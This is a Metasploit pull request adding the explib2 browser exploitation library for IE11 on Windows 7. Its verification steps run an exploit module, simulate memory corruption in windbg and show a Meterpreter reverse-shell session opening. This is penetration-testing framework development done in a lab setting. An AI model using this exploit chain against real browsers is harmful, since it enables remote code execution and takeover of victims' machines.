rapid7/metasploit-framework — pull request #3155 by jvazquez-r7 (2014-03-28 16:18:40+00:00)
Title: Explib2

This pull requests integrates explib2 by @guhe120 into metasploit. The explib2 has been modified a little bit to make it work smoothly on IE 11. It has been tested on:

* Windows 7 SP1
* IE11, mshtml version:

```
0:002> lmv m mshtml
start end module name
65bc0000 66c22000 MSHTML (deferred)
Image path: C:\Windows\system32\MSHTML.dll
Image name: MSHTML.dll
Timestamp: Mon Oct 14 09:15:37 2013 (525B9A19)
CheckSum: 010660B2
ImageSize: 01062000
File version: 11.0.9600.16428
Product version: 11.0.9600.16428
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Microsoft Corporation
ProductName: Internet Explorer
InternalName: MSHTML
OriginalFilename: MSHTML.DLL
ProductVersion: 11.00.9600.16428
FileVersion: 11.00.9600.16428 (winblue_gdr.131013-1700)
FileDescription: Microsoft (R) HTML Viewer
LegalCopyright: © Microsoft Corporation. All rights reserved.
```

In other windows / IE versions probably ```stream_origin``` at Explib2 should be fixed. I've added methods to get and set it.

Verification
---------------

- [ ] Install Windows 7 SP1 and IE 11 (better if mshtml matches the version above).
- [ ] Use the test modules to make it work with the currently available payloads. Specially interesting is the explib2_ie11_drop_exec_test_case test case, because it will allow to run arbitrary msf payload.
- [ ] Use the module and exploit with it

```
> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/tGd8X1dZBBosQ92
[*] Local IP: http://10.6.0.136:8080/tGd8X1dZBBosQ92
[*] Server started.
```

- [ ] Go tot he browser and point to the server URL ```http://10.6.0.136:8080/tGd8X1dZBBosQ92```. Once the alert popups, attach windbg and follow the instructions: ```ed 1a1b3000+18 400; g``` to simulate the memory corruption, continue clicking in the alert popup.

- [ ] You should get a session in the console:

```
msf exploit(explib2_ie11_drop_exec_test_case) > [*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Gathering target information.
[*] 10.6.0.136 explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:50719) at 2014-03-28 11:06:41 -0500

msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed. Reason: User exit
```